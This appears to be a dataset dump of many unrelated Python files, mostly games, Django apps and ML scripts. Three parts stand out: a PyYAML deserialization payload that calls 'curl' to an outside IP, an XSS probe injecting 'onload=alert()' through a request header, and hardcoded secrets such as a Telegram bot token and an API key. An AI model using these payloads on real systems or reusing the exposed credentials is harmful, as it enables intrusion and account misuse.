text
stringlengths
38
1.54M
import pygame from pygame.locals import * import sys,time,random,_thread import mario,mon,Data def creatmonster(): #建構怪物的程式:boss global man global screen global score global ms global speed time.sleep(1.5) while Data.man.isgo: Data.ms.append(mon.monster()) Data.ms[-1].s...
import httplib import urllib import time import hashlib import json API_SECRET = "{A130BFEE-EEF0-4733-9064-17FAFC341F26}" API_HOST = "m.grupaluxmed.pl" API_BASE_URL = "/PatientPortalProxyBE/api/" # x-api request headers X_API_VERSION = "2" X_API_CLIENT = "client_android" X_API_LANG = "pl" class Luxmed: def __in...
# -*- coding: utf-8 -*- import ldap class Ldap: def __init__(self): super(Ldap, self).__init__() @staticmethod def authenticate(address, username, password): conn = ldap.initialize('ldap://' + address) conn.set_option(ldap.OPT_NETWORK_TIMEOUT, 5) conn.protocol_version = 3...
from tensorflow.examples.tutorials.mnist import input_data import numpy as np import pickle import argparse parser = argparse.ArgumentParser() parser.add_argument('--o', default='./mnist_permutations.pkl', help='output file') parser.add_argument('--n_tasks', default=10, type=int, help='number of tasks') parser.add_ar...
import threading import queue import time import pyupbit import datetime from collections import deque import pandas as pd class Consumer(threading.Thread): def __init__(self, q): super().__init__() self.q = q self.ticker ='KRW-ETH' self.ma15 = deque(maxlen=15...
def binary(arr, start, end): if start > end: return mid = (start + end) // 2 if mid == arr[mid]: return mid elif arr[mid] > mid: return binary(arr, start, mid - 1) else: return binary(arr, mid + 1, end) def solution(n, arr): start = 0 end = n idx = b...
import random import string def flag(x): return "CTF{" + str(x) +"}" def random_string(l): charset = string.ascii_lowercase + string.digits return "".join([random.choice(charset) for _ in range(l)]) if __name__ == "__main__": random.seed(42) n = 10 ** 5 m = set() for i in range(2*n-1): ...
from __future__ import absolute_import, unicode_literals from ._compat import range, open, u from .utils import log import re import os def code_comment(visitor, items): """ Format: [[code-comment(target=pre element id)]]: key : value key : value or...
from tastypie.resources import ModelResource from votting.models import Questions,Options,Votes,Role from django.contrib.auth.models import User from django.conf.urls import url from tastypie.utils import trailing_slash from django.contrib.auth import authenticate, login, logout from tastypie.authentication import ApiK...
# 参考《机器学习实战》 Peter # CART算法 import numpy as np import matplotlib import matplotlib.pyplot as plt matplotlib.rcParams['font.sans-serif']=['SimHei'] # 用黑体显示中文 from itertools import combinations def createDataSet(): # 参考p59表5.1的数据 # 最右边一列表示标签类别,即是否批准贷款申请;前四列为特征 dataSet = [['青年', '否', '否', '一般', '否'], ...
import nltk from nltk.stem import WordNetLemmatizer import pickle import numpy as np from keras.models import load_model import json import click ERROR_THRESHOLD = 0.01 class SmartEcho: def __init__(self): self.lemmatizer = WordNetLemmatizer() self.model = load_model("model/echo_model.h5") ...
import random print(random.randint(5, 20)) # line 1 # I saw whole numbers between 5 and 20, where the smallest number I could have seen was 5 and the largest was 20. print(random.randrange(3, 10, 2)) # line 2 # I saw random whole odd numbers between 3 and 10, with the lowest number being 3 and the highest being 9. pr...
import argparse import sys import numpy as np def parse_input(): parser = argparse.ArgumentParser(description='Classify data using python modules.') parser.add_argument('-k', required=True, type=int, help='number of classes') parser.add_argument('-tr', required=True, type=int, help='number of training instances'...
import numpy as np def to_binary(n, dim): """ Obtains the binary representation of an integer. args: n: The integer to be converted to binary. The integer shouldn't be so large that more than dim(the next arg) bits are required to encode it. dim:...
# import the main window object (mw) from aqt from aqt import mw # import the "show info" tool from utils.py from aqt.utils import showInfo, askUserDialog # import all of the Qt GUI library from aqt.qt import QAction import ndic from anki.find import Finder from typing import Set from . import models from . impo...
# package com.gwittit.client.example import java from java import * from java.util import ArrayList from java.util.List import List from com.google.gwt.core.client.JavaScriptObject import JavaScriptObject from com.google.gwt.event.dom.client.ClickEvent import ClickEvent from com.google.gwt.event.dom.client.ClickHandle...
''' Created on 27 ene. 2019 Clase Vehiculo @author: d18momoa ''' class Vehiculo(): kilometrosTotales = 0 vehiculosCreados = 0 def __init__(self,kmR): self.__kilometrosRecorridos = kmR self.kilometrosTotales += kmR self.vehiculosCreados += 1 def getKmTota...
# Work on project. Stage 1/4: Card anatomy """ The very first digit is the Major Industry Identifier (MII), which tells you what sort of institution issued the card. 1 and 2 are issued by airlines 3 is issued by travel and entertainment 4 and 5 are issued by banking and financial institutions 6 is issued by merchandi...
import os from CPAC.pipeline import nipype_pipeline_engine as pe import nipype.interfaces.utility as util from nipype import config from CPAC.utils.interfaces.function import Function from .cwas import ( joint_mask, create_cwas_batches, merge_cwas_batches, nifti_cwas, zstat_image, ) def create...
# -*- coding: utf-8 -*- """ Created on Tue Nov 26 14:14:16 2019 @author: psabapathi """ def sum_range(n,m=4): sum=0 for val in range(n,m+1): sum+=val print(sum) #sum_range(2) sum_range(2) #def sum_range(n=0,m) It is not valid
import dotproduct import crossproduct from inputmenu import Menu def main(): m1 = Menu("Vector Functions", ["Dot Product", "Cross Product"]) m1.get_input() functionName = m1.get_result() if functionName == "Dot Product": success(functionName) dotproduct.main() elif functionName == "Cross Product": success(f...
# Generated by Django 3.1.6 on 2021-02-08 13:24 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('loginapp', '0002_student'), ] operations = [ migrations.DeleteModel( name='Student', ), ]
#!/usr/bin/env python # -*- coding: utf-8 -*- import logging import unittest from unittest import TestCase from keywords import Keywords PREWORDS = ['where can i', 'how can i'] KEYWORDS = ['get', 'order', 'buy'] ADDWORDS = ['iphone', 'ipad'] class TestKeywords(TestCase): def test_keywords_merger(self): ...
import numpy as np import math def ai_wrapper(c, **kwargs): ai_dict = {'dumb': dumb, 'dumb2': dumb2, 'donkey': donkey} ai = ai_dict[c.ai] ai(c, **kwargs) def dumb(c, **kwargs): c.azimuth += (np.random.random() - 0.5) * math.pi / 50 c.azimuth = math.fmod(c.azimuth, ...
#Henter inn klassen Spillebrett fra filen spillebrett.py. from spillebrett import Spillebrett #Metode som kjører programmet basert på inputs fra brukeren. def main(): rader = int(input("Hvor mange rader vil du ha? ")) kolonner = int(input("Hvor mange kolonner vil du ha? ")) #Opretter et Spillebrett basert...
# Methods to get media info through AppleScript. import logging import subprocess # The AppleScript API uses macOS's AppleScript to send commandline instructions to Spotify, which natively # supports AppleScript. class AppleScriptApi: @staticmethod def run_command(command): # Pipe output to the varia...
from __future__ import absolute_import, unicode_literals, division from django.contrib import admin from stopwatch.models import TimeTrial, Leg, Beverage class TimeTrialStateFilter(admin.SimpleListFilter): title = 'state' parameter_name = 'state' def lookups(self, request, model_admin): return T...
# Copyright 2022 Hathor Labs # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
import pandas as pd import matplotlib.pyplot as plt import seaborn as sns colors = ["#3366cc", "#dc3912", "#ff9900", "#109618", "#990099"] labels = [r'$o$', r'$d$', r'$t$', r'$\Delta t$'] df = pd.read_csv('../output/user_entropy.csv') def joint_density_plot(df): plt.figure(figsize=(18,6)) plt.subplot(131) sns.kd...
import requests import lxml.html from lxml import etree import telebot TOKEN = '1792942070:AAHGl1s8KuVcwlmINi8EpvzxQdcgkHnrVwE' bot = telebot.TeleBot(TOKEN) @bot.message_handler(commands=['help','start']) def help_(message: telebot.types.Message): text = 'Привет! Это бот для поиска песен на английском.\n\ Форма...
# Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def upsideDownBinaryTree(self, root: TreeNode) -> TreeNode: if not root: return root newRoot = root while newRoot...
from django.urls import path from . import views from django.views.decorators.csrf import csrf_exempt #from .views import DealListView, SubscriptionsView urlpatterns = [ path('', views.index, name= 'index'), path('deals/', views.dashboad, name= 'dashboad'), path('deals/view/', views.view_deal, name= 'view...
# Generated by Django 2.2.11 on 2020-05-19 16:15 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('contentPages', '0035_createnewresourcetype'), ] operations = [ migrations.AlterModelOptions( name='createnewresourcetype', ...
#!/usr/bin/env python2 # # Copyright (c) 2015 by Cisco Systems, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
from bs4 import BeautifulSoup as bs import requests import csv filename = "idkwhatimdoing" def openFile(file_name): string_data = open(file_name).read() string_list = string_data.split("\n")[1:] final_list = [] for row in string_list: string_fields = row.split(",") int_fields = [] ...
"""Tests that the URLs route to the correct view.""" from unittest import TestCase from django.urls import reverse, resolve from ..views import index class TestURLS(TestCase): """Tests that the URLs are routed to the correct view.""" def test_index(self): """Test that the `index` url resolves the co...
from django.shortcuts import render from django.http import JsonResponse, HttpResponse from django.views.decorators.csrf import csrf_exempt import json from .models import Question, WorkFlow from .classifier.Bayes.Bayes import Bayes from .classifier.RandomForest.RandomForest import RFmodel BAYES = 0 RANDOM_FOREST = 1 ...
from django.contrib.gis.geos import Point from django.test import TestCase from firecares.firecares_core.models import Address, Country from firecares.firestation.models import FireStation from firecares.utils import lenient_summation, lenient_mean, get_property class TestUtilityFunctions(TestCase): def test_perm...
import os import ptbot from dotenv import load_dotenv from pytimeparse import parse import time load_dotenv() TOKEN = os.getenv('TOKEN') CHAT_ID = os.getenv('CHAT_ID') def bot_reply(user_time_message): seconds = parse(user_time_message) bot_message_to_chat = 'Таймер запущен на {} секунд'.format(seconds) ...
#!/usr/bin/env python3 # coding=utf-8 # # Copyright (c) 2020-2021 Huawei Device Co., Ltd. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
import numpy as np import pandas as pd from sklearn.ensemble import RandomForestRegressor, BaggingRegressor from nltk.stem.snowball import SnowballStemmer from nltk.corpus import stopwords from nltk.collocations import * import nltk, string from nltk.tag.stanford import StanfordNERTagger from nltk.corpus import wordne...
n=int(input()) while(n): n=n-1 a=input() b=input() flag=0 for i in a: if i in b: print("YES") flag=1 break if flag==0: print("NO")
from typing import Dict from app.accessory.base import Accessory from app.accessory.rgb import RGBLight ACCESSORIES: Dict[int, Accessory] = { 1: RGBLight(name='tv-backlight'), }
import math from. import player from. import utils class Team(object): ################################################# # Initialisation ################################################# def __init__(self, id, external_team_class, effect_colour): """ Create the team ""...
from dataclasses import dataclass from datetime import date from textwrap import dedent @dataclass class Work: name: str url: str start: date end: date = None name = "Julian Wachholz" username = "julianwachholz" work = ["inaffect", "Quatico", "Avectris", "Polynorm", "Unic"] work = [ Work("inaff...
# Generated by Django 2.1.3 on 2018-11-05 02:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('resume', '0002_auto_20180630_1652'), ] operations = [ migrations.CreateModel( name='BlogPost', fields=[ ...
class Solution(object): operators = dict([('(',0), (')',0), ('+',1), ('-',1), ('*',2), ('/',2)]) def calculate(self, s): """ :type s: str :rtype: int """ if s: postfix = self.infix_to_postfix(s) return self.calculate_postfix(postfix) retur...
from tkinter import * janela = Tk() lb1 = Label(janela, text='Login: ') lb1.grid(row=1, column=1) lb2 = Label(janela, text='Senha: ') lb2.grid(row=2, column=1) en1 = Entry(janela) en1.grid(row=1, column=2) en2 = Entry(janela) en2.grid(row=2, column=2) bt = Button(janela, width=12, text='Confirmar') bt.grid(row=3,...
# created by Sijmen van der Willik # 23/07/2018 16:05 from moviepy.editor import VideoFileClip from IPython.display import HTML import lane_detect clipped_vid = VideoFileClip("project_video.mp4") annotated_clip = clipped_vid.fl_image(lane_detect.pipeline) # NOTE: this function expects color images!! annotated_clip...
import sys, h5py import cv2, glob from multiprocessing import Pool import numpy as np import os hf = h5py.File('data4torch.h5', "w") train_paths = glob.glob('data/static/02/train/*/*.jpg') def process_image(impath): im = cv2.imread(impath) im = cv2.resize(im, (150,150)) im = im.transpose() return im #...
from django.contrib import admin from .models import Application, Error class ApplicationAdmin(admin.ModelAdmin): list_display = ('name', 'token', ) class ErrorAdmin(admin.ModelAdmin): list_display = ('type', 'date', 'app', ) admin.site.register(Application, ApplicationAdmin) admin.site.register(Error, Er...
from app import app, db from app.models import * from app.helpers import stringtime import csv from sqlalchemy import func def sen_cache(time_delta): str_time_range = stringtime(time_delta) with open('app/comp_races_parsed_sen.csv', 'r') as f: reader = csv.reader(f) for row in reader: ...
from zope import schema from zope.interface import Interface from zope.app.container.constraints import contains from zope.app.container.constraints import containers from msd.landingpage import landingpageMessageFactory as _ class ICarouselBlock(Interface): """A slideshow type block""" # -*- schema def...
import random import copy DOWN = 0 RIGHT = 1 UP = 2 LEFT = 3 # ----------TODO STUFF TO CHANGE---------- # near_sight # look_ahead (best at 4) # score_normalizer (not below 50) # eval_max vs eval_avg # Use score bonus, for look ahead and for normal (Much better w/ score bonus) # Look at only boards at the end vs. boar...
import db_operations db_name = "employeedb" tb_name = "employees" dbcls = db_operations.DB() cur,db = dbcls.connections(db_name) #dbcls.createtable(cur,tb_name) l1=[[33,"Sagar",26,"M","Technical Lead"],[34,"Sandeep",30,"M","T.L."]] #dbcls.insertdata(db,cur,tb_name,l1) queryupdate = "UPDATE employees SET DESIGNATION =...
from django.core.mail import get_connection, EmailMultiAlternatives from django.utils.html import strip_tags from zhuartcc.decorators import run_async @run_async def send_mail(subject, html, from_email, recipient_list, fail_silently=False, auth_user=None, auth_password=None, connection=None): """ ...
import mysql.connector as sqltor mycon=sqltor.connect(host="localhost",user="root",passwd="tiger",database="school") mycur=mycon.cursor() def displayall(): mycur.execute("Select * from teacher") data=mycur.fetchall() count=mycur.rowcount print("Total number of rows retrived from resultant::",count) ...
# Este archivo nos sirve para los 3 metodos, angenfaces, fisherfaces y lbph import cv2 import os import numpy as np dataPath = 'G:/Developer/Conocimiento/Python/CV2/ReconocimientoFacial/Data' # Listamos las carpetas dentro de data peopleList = os.listdir(dataPath) print('Lista de personas: ', peopleList) # Tenemos qu...
#!/usr/bin/env python # Import modules import sys import traceback import argparse import rosbag import cv2 import duckietown_utils as du import numpy as np from os import path # Check a file def checkFile(file_path): # Initialize to failure ret = 2 # Check, if the file_path points to a f...
''' Plot Mel spectrogram of original data 2018-07-22 ''' import ipdb as pdb import os import re import sys sys.path.append('../') from preprocess_timit import plot_mel_specgram from make_spkr_dict import get_spectrogram, find_elements, hparams import matplotlib.pyplot as plt import glob import numpy as np import pand...
import os.path import os from collections import OrderedDict import sh import re class NotARepoException(Exception): pass class GitConfig(object): """ Abstract base gitconfig class """ def get(self, section, key, default=None): raise NotImplemented def set(self, section, key, value): ...
from pdfrw import PdfReader, PdfWriter import os files = os.listdir('files') for file in files: trailer = PdfReader('files\\'+file) #print(trailer.Root.Lang) trailer.Root.Lang = '(en-US\)' PdfWriter('out\\'+file, trailer=trailer).write()
from __future__ import absolute_import, unicode_literals, print_function import hashlib import logging import re import zlib from .compat import OrderedDict, parse_qsl, quote from .filters import (make_batch_relative_url_filter, make_multipart_filter, make_query_filter, make_url_filter, make_eli...
# import urllib.request,json # from .models import Quote # # from app import app # # Getting api key # # api_key = None # # Getting the quote base url # base_url = None # def configure_request(app): # global base_url # base_url =['BLOG_API_BASE_URL'] # def get_quotes(): # ''' # Function that gets the ...
import numpy as np import random import math import matplotlib.pyplot as plt from sklearn.model_selection import KFold # load data into Keras format import keras from keras.models import Sequential from keras.layers import Dense, Activation from keras.layers import LSTM from keras.models import load_model from keras.o...
from Tkinter import * root=Tk() #root.configure(bg='light grey') img1=PhotoImage(file='Ishaak.gif') l=Label(root,image=img1) Label(root,text='Procurement System',relief='ridge',bg='green',font='times 40 bold').pack() #Label(root).pack() l.pack() Label(root,text='DEVELOPER DETAILS',font='times 15 italic bold')...
"""Curses output module""" import curses import enum import textwrap from typing import Any from . import helpdocs class _DrawCharacters: """Characters that are used for drawing the game""" game_area_border_char = "=" tile_border_char = "." tile_inner_char = " " piece_border_char = "x" piece...
# -*- coding: UTF-8 -*- """ Django settings for mysite project. Generated by 'django-admin startproject' using Django 1.8.2. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/sett...
# coding:utf-8 import requests import unittest import sys sys.path.append("/Users/mac/venv/SHJInterfaceTest/Project/case") import Url as Url sys.path.append("/Users/mac/venv/SHJInterfaceTest/Project") import run_all_case as run headers = run.headers class JwtClass(unittest.TestCase): def setUp(self): pas...
import textwrap from .graphviz_node import GraphvizNode from .graphviz_node_wrapper import GraphvizNodeWrapper class TreeGraphvizVisualizer: def __init__(self): self.dot_header = [textwrap.dedent("""\ digraph astgraph { node [shape=none, fontsize=12, fontname="Courier", height=.1]; ...
# Open the file with open("mydata2.txt", encoding="utf-8") as myFile: lineNum = 1 # We'll use a while loop that loops until the data # read is empty while True: line = myFile.readline() # line is empty so exit if not line: break print('Line', lineNum) ...
from django.db import models class Pai(models.Model): codigo = models.SmallIntegerField(auto_created=True) dataCad = models.DateTimeField(auto_created=True) dataUpdate = models.DateTimeField(auto_now=True) class Meta: abstract = True class Paises(Pai): pais = models.CharField(max_length=5...
import matplotlib.pyplot as plt import numpy as np import seaborn as sns heap_n = [10000, 50000, 100000, 200000, 300000] heap_t = [0.001575, 0.008575, 0.016, 0.03555, 0.051975] slct_n = [10000, 50000, 100000, 200000, 300000] slct_t = [0.01095, 0.257425, 1.054325, 4.168375, 9.321475] plt.rcParams["figure.figs...
import torch import torch.nn.functional as F import pytorch_lightning as pl from sklearn import metrics class BaseModel(pl.LightningModule): DATASET_TYPE: None def __init__(self): super(BaseModel, self).__init__() def select_topk(self, data, k=-1): if k is None or k <= 0: ret...
from utilities.f_extractor import read_model,extract_features import pandas as pd import numpy as np #load the GloVe word embedding model as a pickle file model = read_model("GloVe/glove.pkl") #load the dataset train = pd.read_csv("data/quora_train.csv", header=0,delimiter=",",error_bad_lines=False) test = pd.read_cs...
from django.shortcuts import render,get_object_or_404 from django.http import HttpResponse,HttpResponseRedirect,Http404,JsonResponse from django.template import loader from django.utils import timezone from django.http import HttpResponse,HttpResponseRedirect,Http404,JsonResponse from django.urls import reverse from dj...
from pprint import pprint import requests payload = 'kek.kek' xss_payload = 'kek.kek"onload="alert();' def check(url, xss=True): """ Payload found in response :param url: :return: """ try: if not xss: return True if requests.get(url, headers={ 'X-Forwarded...
from django.apps import AppConfig class SilenceConfig(AppConfig): name = 'silence' verbose_name = '沉默规则'
import unittest from Assembler import Assembler from fakeparser import fakeparser from fakesymboltable import fakesymboltable class TestAssembler(unittest.TestCase): # instructions = ["@2", "A_const", "L", "C_DP1", "C_APDM", "D0", "0JNE"] def setUp(self): self.fakeParser = fakeparser() self.fak...
from MicrosoftDefenderForCloudEventCollector import (MsClient, find_next_run, get_events, filter_out_previosly_digested_events, ...
import tensorflow as tf import matplotlib.pyplot as plt from tensorflow.examples.tutorials.mnist import input_data import argparse parser = argparse.ArgumentParser() parser.add_argument('--activation', type=str, default="sigmoid") parser.add_argument('--proc', type=int, default=4) parser.add_argument('--optimizer', ty...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Mar 4 19:20:36 2018 @author: Romain GUEDON """ #%% import cobra.test from cobra import Model, Reaction, Metabolite from cobra.util.solver import linear_reaction_coefficients as linReaCoeff #%% def getBiomassReaction(model): objReactions=linReaCoeff...
# Generated by Django 2.1.5 on 2019-03-11 15:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('feedback', '0002_question_quest_numb_option'), ] operations = [ migrations.AlterField( model_name='question', name='...
squre=lambda x:x*x rectangle=lambda x,y:x*y triangle=lambda x,y:0.5*x*y print(squre(5)) print(rectangle(5,10)) print(triangle(5,10))
# -*- coding: utf-8 -*- import unittest #import logging import pyb import gc #import math #import random import uctypes from ws2812 import WS2812 #, Pixel, PREALLOCATE, CACHE, RECREATE from lights import Lights from percolator import Percolator #log = logging.getLogger("test_ws2812") def tg(led_count, start): ...
# Flow generation configuration template. meta: id: L4LB_DSR entries: # TCP - entry: label : nat_dsr proto : tcp port : const/80 mode : nat_dsr backends: - port : const/0 count : const/2 remote :...
from typing import List class Solution: def maxAreaOfIsland(self, grid: List[List[int]]) -> int: if not grid or len(grid)<1 or len(grid[0])<1: return 0 m = len(grid) n = len(grid[0]) max_area = 0 for i in range(m): for j in range(n): ...
from django.conf import settings from django.db import models class TwitterAccountManager(models.Manager): def get_query_set(self): qs = super(TwitterAccountManager, self).get_query_set() return qs.filter(is_active=True) class TwitterStatusManager(models.Manager): def get_query_set(self): ...
import numpy as np from source.common_functions.unit_conversion import UnitConversion from source.common_functions.general_functions import GeneralFunctions from source.materials.material_properties_plotter import MaterialPropertiesPlotter from source.materials.material_properties_units import MaterialPropertiesUnits ...
# !/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'bit4' __github__ = 'https://github.com/bit4woo' import yaml p = 'curl http://47.108.89.178:2333/success' # payload = '!!python/object/apply:subprocess.check_output [[\"%s\"]]' % p # payload = '!!python/object/apply:subprocess.check_output [\"%s\"]' % p #paylo...
#! /usr/bin/python3 import sys sys.version_info[0] lab_exercise = "Split" lab_type = "solution-code" python_version = ("%s.%s.%s" % (sys.version_info[0], sys.version_info[1], sys.version_info[2])) print("Exercise: %s" % (lab_exercise)) print("Type: %s" % (lab_type)) print("Python: %s\n" % (python_version)) ...
import random from functools import reduce def gen_avg(expected_avg, team_size): n = team_size a = 65 b = 98 while True: lt = [random.randint(a, b) for i in range(n)] avg = reduce(lambda x, y: x + y, lt) / len(lt) if avg == expected_avg: return lt def gen_rtg_arr...
from __future__ import print_function, division, absolute_import from PTMCMCSampler.utils import get_version_information from PTMCMCSampler import * def test(): # Run some tests here print("{0} tests have passed".format(0)) __version__ = get_version_information()
#! /usr/bin/python from Crypto.Cipher import AES from random import randint,seed import struct # https://www.cryptopals.com/sets/2/challenges/20 # Break fixed-nonce CTR statistically # wget https://cryptopals.com/static/challenge-data/20.txt --no-check-certificate seed(a=3) def random_aes_key(blocksize=16): r...
import sys from PyQt5 import QtWidgets,QtCore from PyQt5.QtWidgets import QMainWindow,QLabel,QPushButton,QApplication,QMessageBox from PyQt5.uic import loadUiType from PyQt5.QtGui import QIcon from mysql.connector import connect, Error import os from os import path def resource_path(relative_path): base_path=ge...
import pytest from eth_tester.exceptions import TransactionFailed pytestmark = pytest.mark.skip("WIP: moving tests to plasma framework") EXIT_PERIOD = 4 * 60 @pytest.fixture def utxo(testlang_root_chain_short_exit_period): return testlang_root_chain_short_exit_period.create_utxo() @pytest.mark.skip("PlasmaFra...
# -*- coding : utf-8 -*- def createCounter(): n = [0] def counter(): n[0] = n[0] + 1 return n[0] return counter counterA = createCounter() print(counterA(), counterA(), counterA(), counterA(), counterA()) # 1 2 3 4 5 counterB = createCounter() if [counterB(), counterB(), counterB(), counterB()] == [1, 2, 3, 4]:...
import scipy.io import numpy as np from functions import before_neural_network as BNN from functions import during_neural_network as DNN from functions import after_neural_network as ANN from datetime import date # declare variables for load the data RxPw = -5 spans = 1 datapath = "../MATLAB/raw_data/" string_name = "...
print "Welcome to our multiplication tables app!" column_number = raw_input("Please enter a column number to view ('q' to quit): ") # Python function used for running the same code repeatedly. # Takes 1 argument, the column_number for a multiplication table. def show_multiplication_table(column_number): print ...
import FWCore.ParameterSet.Config as cms # Switch off MPI herwigppMPISettingsBlock = cms.PSet( hwpp_mpi_switchOff = cms.vstring( 'set /Herwig/Shower/ShowerHandler:MPIHandler NULL', ), )